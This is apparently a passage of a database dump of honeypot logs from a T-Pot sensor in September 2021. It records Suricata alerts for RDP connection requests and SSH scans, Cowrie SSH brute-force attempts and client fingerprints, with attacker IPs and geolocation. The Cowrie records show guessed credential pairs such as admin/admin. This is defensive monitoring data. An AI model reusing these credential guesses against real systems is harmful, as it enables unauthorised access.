28869	fe80:0000:0000:0000:2442:f6b1:e0eb:5c2d	109.199.241.180	Suricata	2021-09-20 14:21:11.445349+03	2021-09-20 14:30:03.394523+03	{"_id": "mgbwAnwBvYTbRNuEQjFd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:20:55.386832+0000", "pkts_toclient": 0, "pkts_toserver": 3, "bytes_toclient": 0, "bytes_toserver": 270}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2442:f6b1:e0eb:5c2d", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1864187313121040, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:21:11.445349Z", "@timestamp": "2021-09-20T11:21:11.445Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
28870	fe80:0000:0000:0000:2442:f6b1:e0eb:5c2d	109.199.241.180	Suricata	2021-09-20 14:21:13.245365+03	2021-09-20 14:30:03.396553+03	{"_id": "mwbwAnwBvYTbRNuERjFG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:20:55.386832+0000", "pkts_toclient": 0, "pkts_toserver": 4, "bytes_toclient": 0, "bytes_toserver": 360}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2442:f6b1:e0eb:5c2d", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1864187313121040, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:21:13.245365Z", "@timestamp": "2021-09-20T11:21:13.245Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
28871	87.251.67.120	109.199.241.180	Suricata	2021-09-20 14:21:11.202094+03	2021-09-20 14:30:03.397524+03	{"_id": "jwbwAnwBvYTbRNuEPjF1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:21:11.116887+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "87.251.67.120", "asn": 20803, "as_org": "AB-Telecom Ltd.", "latitude": 47.0188, "location": {"lat": 47.0188, "lon": 28.8128}, "timezone": "Europe/Chisinau", "longitude": 28.8128, "country_name": "Republic of Moldova", "country_code2": "MD", "country_code3": "MD", "continent_code": "EU"}, "proto": "TCP", "src_ip": "87.251.67.120", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2108558068402327, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3982, "dest_port": 3389, "timestamp": "2021-09-20T11:21:11.202094Z", "@timestamp": "2021-09-20T11:21:11.202Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
28884	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:21:28.150218+03	2021-09-20 14:30:03.414523+03	{"_id": "2QbwAnwBvYTbRNuEgzEX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.login.failed", "message": "login attempt [admin2/12345] failed", "session": "140a24e93792", "@version": "1", "password": "12345", "username": "admin2", "timestamp": "2021-09-20T11:21:28.150218Z", "@timestamp": "2021-09-20T11:21:28.150Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
28872	87.251.67.120	109.199.241.180	Suricata	2021-09-20 14:21:11.354918+03	2021-09-20 14:30:03.398524+03	{"_id": "kAbwAnwBvYTbRNuEPjF1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:21:11.116887+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "87.251.67.120", "asn": 20803, "as_org": "AB-Telecom Ltd.", "latitude": 47.0188, "location": {"lat": 47.0188, "lon": 28.8128}, "timezone": "Europe/Chisinau", "longitude": 28.8128, "country_name": "Republic of Moldova", "country_code2": "MD", "country_code3": "MD", "continent_code": "EU"}, "proto": "TCP", "src_ip": "87.251.67.120", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 2108558068402327, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3982, "dest_port": 3389, "timestamp": "2021-09-20T11:21:11.354918Z", "@timestamp": "2021-09-20T11:21:11.354Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
28873	87.251.67.120	109.199.241.180	Suricata	2021-09-20 14:21:11.202094+03	2021-09-20 14:30:03.399524+03	{"_id": "kQbwAnwBvYTbRNuEPjGr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:21:11.116887+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "87.251.67.120", "asn": 20803, "as_org": "AB-Telecom Ltd.", "latitude": 47.0188, "location": {"lat": 47.0188, "lon": 28.8128}, "timezone": "Europe/Chisinau", "longitude": 28.8128, "country_name": "Republic of Moldova", "country_code2": "MD", "country_code3": "MD", "continent_code": "EU"}, "proto": "TCP", "src_ip": "87.251.67.120", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2108558068402327, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3982, "dest_port": 3389, "timestamp": "2021-09-20T11:21:11.202094Z", "@timestamp": "2021-09-20T11:21:11.202Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
28874	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:21:11.270199+03	2021-09-20 14:30:03.401523+03	{"_id": "kwbwAnwBvYTbRNuEPjGs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:21:11.116887+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "87.251.67.120", "flow_id": 2108558068402327, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 3982, "timestamp": "2021-09-20T11:21:11.270199Z", "@timestamp": "2021-09-20T11:21:11.270Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
28875	87.251.67.120	109.199.241.180	Fatt	2021-09-20 14:21:11.202094+03	2021-09-20 14:30:03.402525+03	{"_id": "lAbwAnwBvYTbRNuEPzGx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "87.251.67.120", "asn": 20803, "as_org": "AB-Telecom Ltd.", "latitude": 47.0188, "location": {"lat": 47.0188, "lon": 28.8128}, "timezone": "Europe/Chisinau", "longitude": 28.8128, "country_name": "Republic of Moldova", "country_code2": "MD", "country_code3": "MD", "continent_code": "EU"}, "src_ip": "87.251.67.120", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 3982, "dest_port": 3389, "timestamp": "2021-09-20T11:21:11.202094", "@timestamp": "2021-09-20T11:21:11.202Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
28876	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:21:00.705378+03	2021-09-20 14:30:03.403524+03	{"_id": "iAbwAnwBvYTbRNuEFzFf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:20:59.904864+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 257839479901856, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 62206, "dest_port": 3389, "timestamp": "2021-09-20T11:21:00.705378Z", "@timestamp": "2021-09-20T11:21:00.705Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
28878	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:21:25.478866+03	2021-09-20 14:30:03.406524+03	{"_id": "ygbwAnwBvYTbRNuEeTET", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:21:24.479647+0000", "pkts_toclient": 1, "pkts_toserver": 2, "bytes_toclient": 74, "bytes_toserver": 148}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 20, "action": "allowed", "category": "Attempted Information Leak", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 2, "signature": "ET SCAN Potential SSH Scan", "signature_id": 2001219}, "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 179988904300959, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 16238, "dest_port": 22, "timestamp": "2021-09-20T11:21:25.478866Z", "@timestamp": "2021-09-20T11:21:25.478Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	\N
28879	8.23.139.118	109.199.241.180	Cowrie	2021-09-20 14:21:26.201032+03	2021-09-20 14:30:03.407523+03	{"_id": "ywbwAnwBvYTbRNuEezFG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.23.139.118", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.23.139.118", "eventid": "cowrie.login.failed", "message": "login attempt [admin/admin] failed", "session": "ceaab9f5b552", "@version": "1", "password": "admin", "username": "admin", "timestamp": "2021-09-20T11:21:26.201032Z", "@timestamp": "2021-09-20T11:21:26.201Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
28880	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:21:27.851857+03	2021-09-20 14:30:03.409524+03	{"_id": "0wbwAnwBvYTbRNuEfzEu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "140a24e93792", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:21:27.851857Z", "@timestamp": "2021-09-20T11:21:27.851Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
28881	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:21:27.888748+03	2021-09-20 14:30:03.410524+03	{"_id": "1AbwAnwBvYTbRNuEfzEu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "140a24e93792", "@version": "1", "timestamp": "2021-09-20T11:21:27.888748Z", "@timestamp": "2021-09-20T11:21:27.888Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
28882	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:21:27.000512+03	2021-09-20 14:30:03.411523+03	{"_id": "1QbwAnwBvYTbRNuEgDHl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:20:26.651492+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "87.251.67.120", "flow_id": 1468668067901668, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 35036, "timestamp": "2021-09-20T11:21:27.000512Z", "@timestamp": "2021-09-20T11:21:27.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
28885	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:21:29.752502+03	2021-09-20 14:30:03.415524+03	{"_id": "3wbwAnwBvYTbRNuEhzEA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 218.92.0.190:55572 (192.168.176.2:22) [session: 92e88d15184c]", "session": "92e88d15184c", "@version": "1", "protocol": "ssh", "src_port": 55572, "dest_port": 22, "timestamp": "2021-09-20T11:21:29.752502Z", "@timestamp": "2021-09-20T11:21:29.752Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
28886	218.92.0.190	109.199.241.180	Fatt	2021-09-20 14:21:30.017836+03	2021-09-20 14:30:03.416525+03	{"_id": "5AbwAnwBvYTbRNuEiTHx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-PUTTY", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 55572, "dest_port": 22, "timestamp": "2021-09-20T11:21:30.017836", "@timestamp": "2021-09-20T11:21:30.017Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
28887	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:21:30.769908+03	2021-09-20 14:30:03.417525+03	{"_id": "7QbwAnwBvYTbRNuEijHp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "ced9ca560260", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:21:30.769908Z", "@timestamp": "2021-09-20T11:21:30.769Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
28888	223.241.247.214	109.199.241.180	Suricata	2021-09-20 14:21:31.047642+03	2021-09-20 14:30:03.419523+03	{"_id": "7gbwAnwBvYTbRNuEjDGe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "223.241.247.214", "dest_ip": "192.168.20.116", "flow_id": 250349058944042, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"], "flowints": {"tcp.retransmission.count": 1}}, "src_port": 54868, "dest_port": 22, "timestamp": "2021-09-20T11:21:31.047642Z", "@timestamp": "2021-09-20T11:21:31.047Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
28889	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:21:30.770585+03	2021-09-20 14:30:03.420524+03	{"_id": "8AbwAnwBvYTbRNuEjTHa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "223.241.247.214", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": 